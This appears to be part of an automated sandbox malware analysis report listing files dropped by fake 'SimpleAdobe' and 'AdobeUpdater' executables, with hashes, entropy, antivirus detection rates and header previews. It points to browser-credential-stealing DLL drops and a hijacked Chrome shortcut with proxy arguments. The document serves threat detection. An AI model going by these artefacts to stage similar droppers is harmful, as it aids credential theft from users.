Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Reputation:	unknown
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11403264
Entropy (8bit):	7.976262170621303
Encrypted:	false
SSDEEP:	196608:SYvZvPF60956XHt6+YF+ELzL2Zjbn2YH0oD6DGcCwHbGkG:3Fcw5kHo5F+E+j7260oOYc
MD5:	D43AC79ABE604CAFFEFE6313617079A3
SHA1:	B3587D3FA524761B207F812E11DD807062892335
SHA-256:	8B750884259DD004300A84505BE782D05FCA2E487A66484765A4A1E357B7C399
SHA-512:	BB22C73ED01FF97B73FEB68AE2611B70EF002D1829035F58A4BA84C5A217DB368AAE8BDC02CDEC59C1121922A207C662AA5F0A93377537DA42657DD787587082
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...._3f..........#..........,......`..........@.......................................... .................................................06..d.......X,...Y...*..............................................(....W..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0....,......................... ..`.text1..8...........................@....text2............................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:30 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2160
Entropy (8bit):	3.5205618033592163
Encrypted:	false
SSDEEP:	48:8SgdATkoGRYrnv1d/KRkdAGdAKRFdAKR/ua:8SDty
MD5:	0F532D8659BC7307C0C9ECB6BFD25963
SHA1:	4A731431672662D23F237EACE5773FEB4098E87C
SHA-256:	8D63E9C632C5402D16B8A95A6D5583E080FD0A4032C38D26259265B5AD50EC6B
SHA-512:	6A7C3F5BD98F269586F01BCD6BE4F44F3D85BFB82550154BC77F700B5BB7317BF81E42855665DEBC5C0FA716804EB7C0EB8222F92EE4F2B8AAF4E5DAE3DC9922
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....Qn........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWP`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWP`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWP`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-

C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	744960
Entropy (8bit):	7.822971503052979
Encrypted:	false
SSDEEP:	12288:q+dJfgo8vQKBuYVcUOmsIzxGd1OrZ7Ir2YjqF7fKjnmaoBt9WWayr9q0:hgoWQKBuXUtgdAJ2maoBtKyr9q0
MD5:	ADD437E239EBA1CEABCA80AF38F80B56
SHA1:	7D288EB76B3F0B1B3C37A020A61E97D4E43A1450
SHA-256:	2CE2C104C964166CF5FC95D7C855C173533BF28B7053A398BB01E757FD0D94EA
SHA-512:	C6447B5E35F05399EFB4263DB09C2E980F402C2368A06806A37684B0B248635B6F64F51587479D9FE66F833F5C44EA7A571CE7D5F5886A5EB54B6DF30F9A9FD5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)..)..)..{..)..{1..)..{0.)..QB.)..)...)....4.)..{..)......)..Rich.)..........................PE..L...`{]e............................v=....... ....@............................................................................<....@...............................................................x..@............ ..P............................text...#........................... ..`.rdata..Rk... ...l..................@..@.data...........8...\|..............@....rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3063296
Entropy (8bit):	7.969029503778035
Encrypted:	false
SSDEEP:	49152:wFHrEORzDqheKFQQfMtiCC8l+IruOXvoDTWAFQKn1kLiaIg1FWaaZ:OIOlO9Jqrl+opgDTWARlaL10Z
MD5:	FF620B1758C719708D6CECA3B280ABC0
SHA1:	7A13B9CBEAB951D4B6B8AEE520DCF5097534A18D
SHA-256:	C29001BBD0CDA040FF0DC0639CB01C126B2CAA96177F00703E1C82F70A74452E
SHA-512:	3DE8A3A08EECE63D324D6990E3417BE0BF00BE627FFE55280964072FEAD0468519658E193EAA72696F7562E06F45895EE68AD1EFFEB91BAA8303CF3CAC60AA43
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'..............-...........@...........................n...........@.................................<...,.....Y..&...................`Y.8...........................@.<......PY.@....................;.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...).......................... ..`.vmp.............................@....vmp....w....*..x.................. ..`.reloc..8....`Y.....................@..@.rsrc....&....Y.. ..................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	468480
Entropy (8bit):	7.707638639777151
Encrypted:	false
SSDEEP:	12288:8fUVPK8c9FHGovaqSdUgGe2floqIIxuSyovf4CzBIG6Dac:RK/9F1vaqbeeloqII4SHv3OG6j
MD5:	F14B083F53FEFD0071732BF5C0DCD6FA
SHA1:	661566E9131C39A1B34CABDE9A14877D9BCB3D90
SHA-256:	2A7B010296F77BC811CDB2802DC11B7DA7E486A3C7CDBB6B2783B12B828BD57D
SHA-512:	889804F0872D7882EB9160EA4B0EF7E86079006965B988BB5426F36CB2B9B354F03C411759FF74D91905EAA67B88EA5F11BE76B5F0F4F47B8AA9B53FCB9FBCDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I../...\|...\|...\|..}...\|..}...\|..}...\|..}...\|...\|V..\|.l.}...\|.l.}...\|.l.}@..\|.o.}...\|.o.}...\|Rich...\|........PE..L....yOf...............'.............F............@..........................p............@.................................DY..(............................P.......?...............................>..@...............@............................text...$........................... ..`.bss................................ ..`.rdata..x...........................@..@.data...d....p.......>..............@....reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LLNkfgDtZiUZkTn30_sZHJcE.exe.log

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MsBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4c4d50d3-f7c7-493f-a505-89920d45688d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	8094
Entropy (8bit):	5.800955417409617
Encrypted:	false
SSDEEP:	192:asNA4leiRUxJQIkepn6qRAq1k8SPxVLZ7VTiq:asNAUAWTex6q3QxVNZTiq
MD5:	DB26DCDCC16B514D8D8564DF4BF68E78
SHA1:	C881DCE0B0FD0C81D172C3490E39BC8F34E71F49
SHA-256:	378AAFD6DF5FFB8F96784079DB5A041C1AF657EFBC76F1D686EFE1205AB9420F
SHA-512:	F0A314FC825D449B2514BBC5B22EC899F04ADC2543CDA0A1963C3570B45ABA40AA3CD34B94524598C3966218FA68EA8EFFB89021DD44764FBB1E92F24F87CBF0
Malicious:	false
Reputation:	unknown
